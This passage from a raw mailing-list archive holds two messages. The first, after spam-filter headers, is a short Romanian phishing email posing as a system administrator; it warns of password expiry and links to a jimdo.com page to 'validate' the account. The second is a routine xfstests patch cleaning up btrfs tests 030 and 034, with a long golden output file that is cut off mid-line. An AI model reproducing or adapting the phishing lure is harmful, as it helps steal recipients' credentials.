9.0|March 08, 2013) at 17/02/2014 04:14:24 AM X-KeepSent: AD287A23:CCB501E8-85257C82:0032A4F2; type=4; name=$KeepSent Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Notes-Item: linux-xfs@oss.sgi.com; name=AltBlindCopyTo uofwpmails2stamp: address validation tag-uofwpmails2tag X-PerlMx-Spam: Gauge=IIIIIIII, Probability=8%, Report=' HTML_00_01 0.05, HTML_00_10 0.05, KNOWN_FREEWEB_URI 0.05, BODYTEXTP_SIZE_3000_LESS 0, BODY_SIZE_1000_LESS 0, BODY_SIZE_100_199 0, BODY_SIZE_2000_LESS 0, BODY_SIZE_5000_LESS 0, BODY_SIZE_7000_LESS 0, CT_TEXT_PLAIN_UTF8_CAPS 0, DATE_TZ_NA 0, MISSING_HEADERS 0, SMALL_BODY 0, TO_MALFORMED 0, __ANY_URI 0, __CP_URI_IN_BODY 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_FROM 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __KNOWN_FREEWEB_URI1 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __PHISH_SPEAR_STRUCTURE_1 0, __PHISH_SPEAR_STRUCTURE_2 0, __PHISH_SPEAR_URI 0, __SANE_MSGID 0, __SUBJ_ALPHA_END 0, __SUBJ_ALPHA_START 0, __URI_NO_MAILTO 0, __URI_NO_WWW 0' X-Barracuda-Connect: pmailout1.uwindsor.ca[137.207.32.117] X-Barracuda-Start-Time: 1392628472 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 1a0cf85e14584f97f464d53e26fe0aa9-175-txt X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145201 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; Stimate utilizator=20 Parola dvs. va expira =C3=AEn termen de 3 zile Click aici pentru a validete= dvs. de e-mail=20 http://web-roonline.jimdo.com/ mul=C8=9Bumiri=20 administrator de sistem From fdmanana@gmail.com Mon Feb 17 07:23:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DBFC77F85 for ; Mon, 17 Feb 2014 07:23:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CB51A304082 for ; Mon, 17 Feb 2014 05:23:35 -0800 (PST) X-ASG-Debug-ID: 1392643405-04cbb00c2b4bdf70001-NocioJ Received: from mail-wg0-f50.google.com (mail-wg0-f50.google.com [74.125.82.50]) by cuda.sgi.com with ESMTP id bhi1Ahel62GnUqSz (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 17 Feb 2014 05:23:26 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.50 Received: by mail-wg0-f50.google.com with SMTP id z12so2276726wgg.5 for ; Mon, 17 Feb 2014 05:23:25 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=4/Adr+lVMcIpw+kKU2JU94flaosm55JFfMVfHoF5IMs=; b=ajvVufn2/ZtyzPwBDKzVe+Krvj8pB+3VNmSmEUJ60A4YgAuPCHTzzYVvfh/aH5w7r3 eyHHCqMlDJfVI74gQFV/3TrEpddagBmgzdpTvQyVqCGYMEqkz/5acq157M2hvdsdC256 hicjG5f3iQi5IouD3EpezcIqwirbtmdlMzbpxjLPQRanEBSZ7naC/mOD87RldbEcA1cb 9t2Wh98C94ciMfMVD0+PUOdnITITpDHbF3ynfEfipOgc7gWU3S4pE9TZaKsFowtPMH/l sAfowBfSfyySbept+aO+s4fPTDmkrSES9dsv8UzUX51JbSpHCDmL/OzH5md8IcOYod6v cocg== X-Received: by 10.181.13.82 with SMTP id ew18mr13155084wid.22.1392643405391; Mon, 17 Feb 2014 05:23:25 -0800 (PST) Received: from storm-desktop.lan (bl9-94-146.dsl.telepac.pt. [85.242.94.146]) by mx.google.com with ESMTPSA id n15sm32389312wij.3.2014.02.17.05.23.23 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 17 Feb 2014 05:23:24 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: david@fromorbit.com, linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH] xfstests: cleanup tests btrfs/030 and btrfs/034 Date: Mon, 17 Feb 2014 13:22:34 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: cleanup tests btrfs/030 and btrfs/034 Message-Id: <1392643354-15785-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-wg0-f50.google.com[74.125.82.50] X-Barracuda-Start-Time: 1392643406 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145206 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature As recently suggested by Dave Chinner, make use of the new function named _run_btrfs_util_prog() to run the btrfs util program, and stop using run_check for running xfs_io - instead filter xfs_io's output and add it to the golden output. Signed-off-by: Filipe David Borba Manana --- Note: this patch depends on the version 3 of the patch titled: "xfstests: add regression test for btrfs incremental send" tests/btrfs/030 | 14 +- tests/btrfs/034 | 28 +- tests/btrfs/034.out | 1880 +++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 1899 insertions(+), 23 deletions(-) diff --git a/tests/btrfs/030 b/tests/btrfs/030 index 6b52a0d..a9f5fb4 100755 --- a/tests/btrfs/030 +++ b/tests/btrfs/030 @@ -109,8 +109,7 @@ echo "ola" > $SCRATCH_MNT/a/b/bar1/bar2/bar3/bar4/hello.txt # |-- bar4 (ino 275) # |--hello.txt (ino 276) -run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ - $SCRATCH_MNT/mysnap1 +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 echo " world" >> $SCRATCH_MNT/a/b/c/file.txt mv $SCRATCH_MNT/a/b/c/d $SCRATCH_MNT/a/b/c2/d2 @@ -164,15 +163,14 @@ mv $SCRATCH_MNT/a/b/bar1 $SCRATCH_MNT/a/b/k44/bar3/bar2/k11 # |-- bar2/ (ino 273) # |-- k11/ (ino 272) -run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ - $SCRATCH_MNT/mysnap2 +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ $SCRATCH_MNT/mysnap2 -run_check $BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap -run_check $BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ -f $tmp/2.snap _scratch_unmount @@ -180,10 +178,10 @@ _check_btrfs_filesystem $SCRATCH_DEV _scratch_mkfs >/dev/null 2>&1 _scratch_mount -run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 2>> $seqres.full -run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 2>> $seqres.full _scratch_unmount diff --git a/tests/btrfs/034 b/tests/btrfs/034 index db792de..38952a3 100755 --- a/tests/btrfs/034 +++ b/tests/btrfs/034 @@ -56,27 +56,25 @@ _scratch_mount # detection was not correct, leading to data corruption by overriding latest # data regions of a file with zeroes. -run_check $XFS_IO_PROG -f -c "truncate 104857600" $SCRATCH_MNT/foo +$XFS_IO_PROG -f -c "truncate 104857600" $SCRATCH_MNT/foo for ((i = 0; i < 940; i++)) do - OFFSET=$((32768 + i * 8192)) - LEN=$((OFFSET + 8192)) - run_check $XFS_IO_PROG -c "falloc -k $OFFSET $LEN" $SCRATCH_MNT/foo - run_check $XFS_IO_PROG -c "pwrite -S 0xf0 $OFFSET 4096" $SCRATCH_MNT/foo + OFFSET=$((32768 + i * 8192)) + LEN=$((OFFSET + 8192)) + $XFS_IO_PROG -c "falloc -k $OFFSET $LEN" $SCRATCH_MNT/foo + $XFS_IO_PROG -c "pwrite -S 0xf0 $OFFSET 4096" \ + $SCRATCH_MNT/foo | _filter_xfs_io done -run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ - $SCRATCH_MNT/mysnap1 +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 -run_check $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT -run_check $XFS_IO_PROG -c "truncate 3882008" $SCRATCH_MNT/foo +$XFS_IO_PROG -c "truncate 3882008" $SCRATCH_MNT/foo -run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ - $SCRATCH_MNT/mysnap2 +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 -run_check $BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap -run_check $BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ -f $tmp/2.snap md5sum $SCRATCH_MNT/foo | _filter_scratch @@ -88,10 +86,10 @@ _check_btrfs_filesystem $SCRATCH_DEV _scratch_mkfs >/dev/null 2>&1 _scratch_mount -run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap md5sum $SCRATCH_MNT/mysnap1/foo | _filter_scratch -run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap md5sum $SCRATCH_MNT/mysnap2/foo | _filter_scratch _scratch_unmount diff --git a/tests/btrfs/034.out b/tests/btrfs/034.out index 808e6b4..8444711 100644 --- a/tests/btrfs/034.out +++ b/tests/btrfs/034.out @@ -1,4 +1,1884 @@ QA output created by 034 +wrote 4096/4096 bytes at offset 32768 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 40960 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 49152 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 57344 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 73728 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 81920 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 90112 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 98304 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 106496 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 114688 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 122880 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 131072 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 139264 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 147456 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 155648 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 163840 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 172032 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 180224 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 188416 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 196608 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 204800 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 212992 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 221184 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 229376 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 237568 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 245760 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 253952 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 262144 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 270336 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 278528 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 286720 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 294912 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 303104 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 311296 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 319488 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 327680 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 335872 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 344064 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 352256 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 360448 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 368640 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 376832 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 385024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 393216 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 401408 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 409600 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 417792 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 425984 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 434176 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 442368 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 450560 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 458752 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 466944 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 475136 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 483328 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 491520 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 499712 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 507904 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 516096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 524288 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 532480 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 540672 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 548864 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 557056 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 565248 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 573440 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 581632 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 589824 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 598016 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 606208 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 614400 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 622592 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 630784 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 638976 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 647168 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 655360 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 663552 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 671744 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 679936 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 688128 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 696320 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 704512 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 712704 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 720896 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 729088 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 737280 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 745472 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 753664 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 761856 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 770048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 778240 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 786432 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 794624 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 802816 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 811008 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 819200 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 827392 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 835584 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 843776 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 851968 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 860160 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 868352 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 876544 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 884736 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 892928 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 901120 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 909312 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 917504 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 925696 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 933888 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 942080 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 950272 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 958464 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 966656 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 974848 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 983040 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 991232 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 999424 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1007616 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1015808 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1024000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1032192 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1040384 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1048576 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1056768 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1064960 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1073152 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1081344 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1089536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1097728 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1105920 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1114112 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1122304 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1130496 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1138688 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1146880 +XXX 